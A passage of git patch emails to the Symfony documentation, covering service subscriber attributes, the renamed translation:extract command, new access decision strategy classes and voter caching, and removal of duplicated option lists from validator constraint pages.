+:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It
+provides a ``ServiceLocator`` for the services of each method's return type.
 The service id is ``__METHOD__``. This allows you to add dependencies to your
 services based on type-hinted helper methods::
 
@@ -637,6 +638,7 @@ services based on type-hinted helper methods::
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
     use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
@@ -650,11 +652,13 @@ services based on type-hinted helper methods::
             // $this->logger() ...
         }
 
+        #[SubscribedService]
         private function router(): RouterInterface
         {
             return $this->container->get(__METHOD__);
         }
 
+        #[SubscribedService]
         private function logger(): LoggerInterface
         {
             return $this->container->get(__METHOD__);
@@ -668,9 +672,11 @@ and compose your services with them::
     namespace App\Service;
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     trait LoggerAware
     {
+        #[SubscribedService]
         private function logger(): LoggerInterface
         {
             return $this->container->get(__CLASS__.'::'.__FUNCTION__);
@@ -681,9 +687,11 @@ and compose your services with them::
     namespace App\Service;
 
     use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     trait RouterAware
     {
+        #[SubscribedService]
         private function router(): RouterInterface
         {
             return $this->container->get(__CLASS__.'::'.__FUNCTION__);
@@ -713,4 +721,12 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
+.. deprecated:: 5.4
+
+    Defining your *subscribed service* methods with the
+    :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute
+    was added in Symfony 5.4. Previously, any methods with no arguments and a
+    return type were *subscribed*. This still works in 5.4 but is deprecated (only
+    when using PHP 8) and will be removed in 6.0.
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From bbee2bf824296bed62969f1c8b0cc3161005026a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 27 Oct 2021 17:35:44 +0200
Subject: [PATCH 2639/7107] Remove the deprecated directive

---
 service_container/service_subscribers_locators.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 427ba5725b6..6bc379ee9cc 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -720,12 +720,4 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
-.. deprecated:: 5.4
-
-    Defining your *subscribed service* methods with the
-    :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute
-    was added in Symfony 5.4. Previously, any methods with no arguments and a
-    return type were *subscribed*. This still works in 5.4 but is deprecated (only
-    when using PHP 8) and will be removed in 6.0.
-
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From a0d0c46a176b55c4546f1e1d23b11ac39a6edb58 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 27 Oct 2021 22:39:02 +0200
Subject: [PATCH 2640/7107] CSP => Content Security Policy

---
 frontend/encore/vuejs.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 4473849be22..896c1e6de19 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -45,7 +45,7 @@ runtime. This means that you *can* do either of these:
     });
 
 If you do *not* need this functionality (e.g. you use single file components),
-then you can tell Encore to create a *smaller* and CSP-compliant build:
+then you can tell Encore to create a *smaller* build following Content Security Policy:
 
 .. code-block:: javascript
 

From 498391be5668a90e0d407d34bebc800212845a43 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 27 Oct 2021 23:24:18 +0200
Subject: [PATCH 2641/7107] Updating sass-loader version

---
 frontend/encore/simple-example.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index da99febb9b6..47bc2bb2ccc 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -330,7 +330,7 @@ Encore. When you do, you'll see an error!
 .. code-block:: terminal
 
     >   Error: Install sass-loader & sass to use enableSassLoader()
-    >     yarn add sass-loader@^10.0.0 sass --dev
+    >     yarn add sass-loader@^12.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
@@ -338,11 +338,11 @@ you need a feature, Encore will tell you what you need to install. Run:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn add sass-loader@^10.0.0 sass --dev
+    $ yarn add sass-loader@^12.0.0 sass --dev
     $ yarn encore dev --watch
 
     # if you use the npm package manager
-    $ npm install sass-loader@^10.0.0 sass --save-dev
+    $ npm install sass-loader@^12.0.0 sass --save-dev
     $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See

From a2fed1ad73b61d5a2df96154a64745793ddc4ca6 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Thu, 28 Oct 2021 08:47:46 +0200
Subject: [PATCH 2642/7107] Unexpected arrow for hash key

Replace arrow by colon
---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 3026da62ff8..2d9a66f1c35 100644
--- a/translation.rst
+++ b/translation.rst
@@ -304,7 +304,7 @@ using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 
     .. code-block:: twig
 
-       {{ message|trans({'%name%': '...', '%count%' => 1}, 'app') }}
+       {{ message|trans({'%name%': '...', '%count%': 1}, 'app') }}
 
     The ``message`` variable must include all the different versions of this
     message based on the value of the ``count`` parameter. For example:

From 7f44b336c28ab8ac66cfd4a3912779d4b0f1f0aa Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Thu, 28 Oct 2021 10:08:24 +0200
Subject: [PATCH 2643/7107] Rename translation:update to translation:extract

---
 reference/dic_tags.rst |  2 +-
 translation.rst        | 15 ++++++++++-----
 2 files changed, 11 insertions(+), 6 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 23b694910d9..fd84a0ac70b 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1021,7 +1021,7 @@ translation.extractor
 **Purpose**: To register a custom service that extracts messages from a
 file
 
-When executing the ``translation:update`` command, it uses extractors to
+When executing the ``translation:extract`` command, it uses extractors to
 extract translation messages from a file. By default, the Symfony Framework
 has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a
 :class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`, which
diff --git a/translation.rst b/translation.rst
index 83e95f8dda4..a3d49778c5e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -466,21 +466,26 @@ Extracting Translation Contents and Updating Catalogs Automatically
 
 The most time-consuming tasks when translating an application is to extract all
 the template contents to be translated and to keep all the translation files in
-sync. Symfony includes a command called ``translation:update`` that helps you
+sync. Symfony includes a command called ``translation:extract`` that helps you
 with these tasks:
 
 .. code-block:: terminal
 
     # shows all the messages that should be translated for the French language
-    $ php bin/console translation:update --dump-messages fr
+    $ php bin/console translation:extract --dump-messages fr
 
     # updates the French translation files with the missing strings for that locale
-    $ php bin/console translation:update --force fr
+    $ php bin/console translation:extract --force fr
 
     # check out the command help to see its options (prefix, output format, domain, sorting, etc.)
-    $ php bin/console translation:update --help
+    $ php bin/console translation:extract --help
 
-The ``translation:update`` command looks for missing translations in:
+.. deprecated:: 5.4
+
+    Support for ``translation:update`` was deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
+The ``translation:extract`` command looks for missing translations in:
 
 * Templates stored in the ``templates/`` directory (or any other directory
   defined in the :ref:`twig.default_path <config-twig-default-path>` and

From 4c34e056918e790ccc39804afe892524013df76c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=96=AF=E8=80=83=E5=90=89=E6=81=A9?= <scourgen@gmail.com>
Date: Thu, 28 Oct 2021 17:12:04 +0800
Subject: [PATCH 2644/7107] make following jquery example works

in this section: https://symfony.com/doc/5.4/frontend/encore/simple-example.html#requiring-javascript-modules

It's using jquery as example, so we should tell user that they have to enable autoProvidejQuery option to use jquery in following tutorial.
---
 frontend/encore/simple-example.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3cd89e092bf..cbec25be78c 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -43,7 +43,8 @@ of your project. It already holds the basic config you need:
 
         .addEntry('app', './assets/app.js')
 
-        // ...
+        // Don't forget to uncomment If you want use following JQuery example code
+        .autoProvidejQuery()
     ;
 
     // ...

From 7fd01364d897b72635ec2c7e2eb2dd2e1acf2c46 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Oct 2021 11:44:42 +0200
Subject: [PATCH 2645/7107] Minor tweak

---
 translation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index a3d49778c5e..e716f057dc2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -482,7 +482,8 @@ with these tasks:
 
 .. deprecated:: 5.4
 
-    Support for ``translation:update`` was deprecated in Symfony 5.4
+    In previous Symfony versions, the ``translation:extract`` command was called
+    ``translation:update``, but that name was deprecated in Symfony 5.4
     and it will be removed in Symfony 6.0.
 
 The ``translation:extract`` command looks for missing translations in:

From 34a35c060cfcd1b2cccb42e8393e41955142b0a2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Oct 2021 11:47:17 +0200
Subject: [PATCH 2646/7107] Remove deprecated directive

---
 translation.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/translation.rst b/translation.rst
index eb0ea87e5dc..fc78df9808e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -476,12 +476,6 @@ with these tasks:
     # check out the command help to see its options (prefix, output format, domain, sorting, etc.)
     $ php bin/console translation:extract --help
 
-.. deprecated:: 5.4
-
-    In previous Symfony versions, the ``translation:extract`` command was called
-    ``translation:update``, but that name was deprecated in Symfony 5.4
-    and it will be removed in Symfony 6.0.
-
 The ``translation:extract`` command looks for missing translations in:
 
 * Templates stored in the ``templates/`` directory (or any other directory

From 3cae3a13839ffefff80a1836542b2a6b31e0d8e5 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Thu, 28 Oct 2021 16:38:05 +0200
Subject: [PATCH 2647/7107] [Validation] improve code for counting errors

---
 validation/raw_values.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index 9699e5353cc..3565de902d8 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -25,7 +25,7 @@ address. From inside a controller, it looks like this::
             $emailConstraint
         );
 
-        if (0 === count($errors)) {
+        if (!$errors->count()) {
             // ... this IS a valid email address, do something
         } else {
             // this is *not* a valid email address

From c955fd705f9d1734dd97b85a47a95c4aab244949 Mon Sep 17 00:00:00 2001
From: Tom Nguyen <7121553+tunggnu@users.noreply.github.com>
Date: Thu, 28 Oct 2021 22:11:13 +0700
Subject: [PATCH 2648/7107] Add the missing square bracket for a route

---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index cc00e592880..76b892c8455 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -133,7 +133,7 @@ You can now add your route directly *above* the controller:
 
         class LuckyController
         {
-        +   #[Route('/lucky/number')
+        +   #[Route('/lucky/number')]
             public function number()
             {
                 // this looks exactly the same

From 04ce795303a21d1681e450135d6f469ce8c6d4e3 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Fri, 29 Oct 2021 16:17:14 +0200
Subject: [PATCH 2649/7107] Document custom access decision managers

---
 components/security/authorization.rst | 90 +++++++++++++++++----------
 security/voters.rst                   | 53 +++++++++++++++-
 2 files changed, 109 insertions(+), 34 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index ffc4edc278a..3effc3d0794 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -37,26 +37,8 @@ Access Decision Manager
 Since deciding whether or not a user is authorized to perform a certain
 action can be a complicated process, the standard :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManager`
 itself depends on multiple voters, and makes a final verdict based on all
-the votes (either positive, negative or neutral) it has received. It
-recognizes several strategies:
-
-``affirmative`` (default)
-    grant access as soon as there is one voter granting access;
-
-``consensus``
-    grant access if there are more voters granting access than there are denying;
-
-``unanimous``
-    only grant access if none of the voters has denied access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``).
-
-``priority``
-    grants or denies access by the first voter that does not abstain;
-
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
+the votes (either positive, negative or neutral) it has received and the
+given strategy.
 
 Usage of the available options in detail::
 
@@ -65,27 +47,69 @@ Usage of the available options in detail::
     // instances of Symfony\Component\Security\Core\Authorization\Voter\VoterInterface
     $voters = [...];
 
-    // one of "affirmative", "consensus", "unanimous", "priority"
+    // instance of Symfony\Component\Security\Core\Authorization\Strategy\AccessDecisionStrategyInterface
     $strategy = ...;
 
-    // whether or not to grant access when all voters abstain
-    $allowIfAllAbstainDecisions = ...;
-
-    // whether or not to grant access when there is no majority (applies only to the "consensus" strategy)
-    $allowIfEqualGrantedDeniedDecisions = ...;
-
-    $accessDecisionManager = new AccessDecisionManager(
-        $voters,
-        $strategy,
-        $allowIfAllAbstainDecisions,
-        $allowIfEqualGrantedDeniedDecisions
-    );
+    $accessDecisionManager = new AccessDecisionManager($voters, $strategy);
 
 .. seealso::
 
     You can change the default strategy in the
     :ref:`configuration <security-voters-change-strategy>`.
 
+Strategies
+----------
+
+.. versionadded:: 5.4
+
+    The strategy classes were introduced in Symfony 5.4. In earlier versions, the strategy was passed as a string.
+
+The following strategies are bundled with the component:
+
+``AffirmativeStrategy`` (default)
+    grant access as soon as there is one voter granting access;
+
+``ConsensusStrategy``
+    grant access if there are more voters granting access than there are denying;
+    if there is a draw between votes, the decision is made based on the
+    ``$allowIfEqualGrantedDeniedDecisions`` constructor parameter which defaults to ``true``.
+
+``UnanimousStrategy``
+    only grant access if none of the voters has denied access.
+
+``PriorityStrategy``
+    grants or denies access by the first voter that does not abstain;
+
+    .. versionadded:: 5.1
+
+        The "priority" version strategy was introduced in Symfony 5.1.
+
+If all voters abstained from voting, the decision is based on the ``$allowIfAllAbstainDecisions``
+constructor parameter which is supported by all of the built-in strategies and defaults to ``false``.
+
+If none of the built-in strategies seem to fit, a custom strategy may be provided. The strategy will
+receive a stream of votes and may return as soon as it has seen enough votes to come to a conclusion.
+
+::
+
+    /**
+     * Always picks the third voter.
+     */
+    class ThirdVoterStrategy implements AccessDecisionStrategyInterface
+    {
+        public function decide(\Traversable $results): bool
+        {
+            $votes = 0;
+            foreach ($results as $result) {
+                if (++$votes === 3) {
+                    return $result === VoterInterface::ACCESS_GRANTED;
+                }
+            }
+
+            return false;
+        }
+    }
+
 Voters
 ------
 
diff --git a/security/voters.rst b/security/voters.rst
index d860886f175..6b8d674adab 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -345,7 +345,58 @@ security configuration:
 Custom Access Decision Strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If none of the built-in strategies fits your use case, define the ``service``
+.. versionadded:: 5.4
+
+    The ``strategy_service`` option was introduced in Symfony 5.4.
+
+If none of the built-in strategies fits your use case, define the ``strategy_service``
+option to use a custom service (your service must implement the
+:class:`Symfony\\Component\\Security\\Core\Authorization\\Strategy\\AccessDecisionStrategyInterface`):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            access_decision_manager:
+                strategy_service: App\Security\MyCustomAccessDecisionStrategy
+                # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+
+            <config>
+                <access-decision-manager
+                    strategy-service="App\Security\MyCustomAccessDecisionStrategy"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\MyCustomAccessDecisionStrategy;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->strategyService(MyCustomAccessDecisionStrategy::class)
+                // ...
+            ;
+        };
+
+Custom Access Decision Manager
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to provide an entirely custom access decision manager, define the ``service``
 option to use a custom service as the Access Decision Manager (your service
 must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface`):
 

From 1381c83b1b6e6a723a8052281caddbf3dae18935 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Fri, 29 Oct 2021 16:46:11 +0200
Subject: [PATCH 2650/7107] [HTTP Foundation] Improve sentence to avoid
 repetition

---
 components/http_foundation.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 3df8d5c9c94..a66baa7609d 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -252,8 +252,10 @@ Accessing the Session
 ~~~~~~~~~~~~~~~~~~~~~
 
 If you have a session attached to the request, you can access it via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method or the
-:method:`Symfony\\Component\\HttpFoundation\\RequestStack::getSession` method;
+:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method 
+from the :class:`Symfony\\Component\\HttpFoundation\\Request` class or the
+:method:`Symfony\\Component\\HttpFoundation\\RequestStack::getSession` method
+from the :class:`Symfony\\Component\\HttpFoundation\\RequestStack` class;
 the
 :method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
 method tells you if the request contains a session which was started in one of

From cb8ba0067c22c628c8a2607b7ad9fcc4c2019d13 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Fri, 29 Oct 2021 18:29:18 +0200
Subject: [PATCH 2651/7107] Add documentation about CacheableVoterInterface

---
 security/voters.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/security/voters.rst b/security/voters.rst
index d860886f175..aec93cff3a6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -62,6 +62,18 @@ which makes creating a voter even easier::
 
 .. _how-to-use-the-voter-in-a-controller:
 
+.. tip::
+
+    Checking each voter several times can be time consumming for applications
+    that perform a lot of permission checks. However, when a voter implements
+    the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`,
+    the access decision manager, will remember the attribute and type of subject
+    supported by the voter, and will, next, only call the involved voters.
+
+    .. versionadded:: 5.4
+
+        The ``CacheableVoterInterface`` interface was introduced in Symfony 5.4.
+
 Setup: Checking for Access in a Controller
 ------------------------------------------
 

From 8df9ed2132612540f701166ca956ca50b28ce2c6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Oct 2021 20:12:45 +0200
Subject: [PATCH 2652/7107] Minor tweak

---
 components/http_foundation.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index a66baa7609d..6154119e715 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -252,12 +252,9 @@ Accessing the Session
 ~~~~~~~~~~~~~~~~~~~~~
 
 If you have a session attached to the request, you can access it via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method 
-from the :class:`Symfony\\Component\\HttpFoundation\\Request` class or the
-:method:`Symfony\\Component\\HttpFoundation\\RequestStack::getSession` method
-from the :class:`Symfony\\Component\\HttpFoundation\\RequestStack` class;
-the
-:method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
+``getSession()`` method of the :class:`Symfony\\Component\\HttpFoundation\\Request`
+or :class:`Symfony\\Component\\HttpFoundation\\RequestStack` class;
+the :method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
 method tells you if the request contains a session which was started in one of
 the previous requests.
 

From 0d56f40042c8310e004d6614920aacae92d2de97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 10:35:35 +0200
Subject: [PATCH 2653/7107] Remove duplicated entries in validator constraint
 pages

---
 reference/constraints/All.rst                 |  3 --
 reference/constraints/Bic.rst                 |  6 ----
 reference/constraints/Blank.rst               |  3 --
 reference/constraints/Callback.rst            |  3 --
 reference/constraints/CardScheme.rst          |  4 ---
 reference/constraints/Choice.rst              | 11 -------
 reference/constraints/Collection.rst          |  7 -----
 reference/constraints/Count.rst               |  7 -----
 reference/constraints/Country.rst             |  3 --
 reference/constraints/Currency.rst            |  3 --
 reference/constraints/Date.rst                |  3 --
 reference/constraints/DateTime.rst            |  4 ---
 reference/constraints/DivisibleBy.rst         |  5 ----
 reference/constraints/Email.rst               |  7 -----
 reference/constraints/EqualTo.rst             |  5 ----
 reference/constraints/Expression.rst          |  5 ----
 reference/constraints/File.rst                | 18 ------------
 reference/constraints/GreaterThan.rst         |  5 ----
 reference/constraints/GreaterThanOrEqual.rst  |  5 ----
 reference/constraints/Iban.rst                |  3 --
 reference/constraints/IdenticalTo.rst         |  5 ----
 reference/constraints/Image.rst               | 29 -------------------
 reference/constraints/Ip.rst                  |  5 ----
 reference/constraints/IsFalse.rst             |  3 --
 reference/constraints/IsNull.rst              |  3 --
 reference/constraints/IsTrue.rst              |  3 --
 reference/constraints/Isbn.rst                |  7 -----
 reference/constraints/Issn.rst                |  5 ----
 reference/constraints/Json.rst                |  2 --
 reference/constraints/Language.rst            |  3 --
 reference/constraints/Length.rst              | 11 -------
 reference/constraints/LessThan.rst            |  5 ----
 reference/constraints/LessThanOrEqual.rst     |  5 ----
 reference/constraints/Locale.rst              |  4 ---
 reference/constraints/Luhn.rst                |  3 --
 reference/constraints/Negative.rst            |  3 --
 reference/constraints/NegativeOrZero.rst      |  3 --
 reference/constraints/NotBlank.rst            |  5 ----
 .../constraints/NotCompromisedPassword.rst    |  5 ----
 reference/constraints/NotEqualTo.rst          |  5 ----
 reference/constraints/NotIdenticalTo.rst      |  5 ----
 reference/constraints/NotNull.rst             |  3 --
 reference/constraints/Positive.rst            |  3 --
 reference/constraints/PositiveOrZero.rst      |  3 --
 reference/constraints/Range.rst               | 10 -------
 reference/constraints/Regex.rst               |  7 -----
 reference/constraints/Time.rst                |  3 --
 reference/constraints/Timezone.rst            |  6 ----
 reference/constraints/Traverse.rst            |  2 --
 reference/constraints/Type.rst                |  4 ---
 reference/constraints/Unique.rst              |  3 --
 reference/constraints/UniqueEntity.rst        |  9 ------
 reference/constraints/Url.rst                 |  8 -----
 reference/constraints/UserPassword.rst        |  3 --
 reference/constraints/Uuid.rst                |  6 ----
 reference/constraints/Valid.rst               |  3 --
 56 files changed, 302 deletions(-)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 1577a07ec4d..bdb0ebda7d1 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -6,9 +6,6 @@ you to apply a collection of constraints to each element of the array.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `constraints`_
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\All`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\AllValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 0d00fca6297..d5245370339 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -8,12 +8,6 @@ check that the BIC's country code is the same as a given IBAN's one.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `iban`_
-            - `ibanMessage`_
-            - `ibanPropertyPath`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Bic`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\BicValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index 5f0c6191fc1..2713debb531 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -15,9 +15,6 @@ But be careful as ``NotBlank`` is *not* strictly the opposite of ``Blank``.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Blank`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\BlankValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index c917bf93412..018472ab46d 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -19,9 +19,6 @@ can do anything, including creating and assigning validation errors.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>` or :ref:`property/method <validation-property-target>`
-Options     - :ref:`callback <callback-option>`
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Callback`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CallbackValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index e8e2b744987..88bac729fee 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -7,10 +7,6 @@ a payment through a payment gateway.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `schemes`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\CardScheme`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CardSchemeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 0e099053775..ad61c146561 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -7,17 +7,6 @@ an array of items is one of those valid choices.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `callback`_
-            - `choices`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `message`_
-            - `min`_
-            - `minMessage`_
-            - `multiple`_
-            - `multipleMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Choice`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ChoiceValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index c60679aa90b..b6b75ce09b5 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -18,13 +18,6 @@ and that extra keys are not present.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowExtraFields`_
-            - `allowMissingFields`_
-            - `extraFieldsMessage`_
-            - `fields`_
-            - `groups`_
-            - `missingFieldsMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Collection`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CollectionValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index dbbe94b480a..e372247490f 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -6,13 +6,6 @@ Countable) element count is *between* some minimum and maximum value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `exactMessage`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `min`_
-            - `minMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Count`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 4582a930cad..aba1eda40e8 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -5,9 +5,6 @@ Validates that a value is a valid `ISO 3166-1 alpha-2`_ country code.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Country`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountryValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 901a989010b..c35b8a3673f 100644
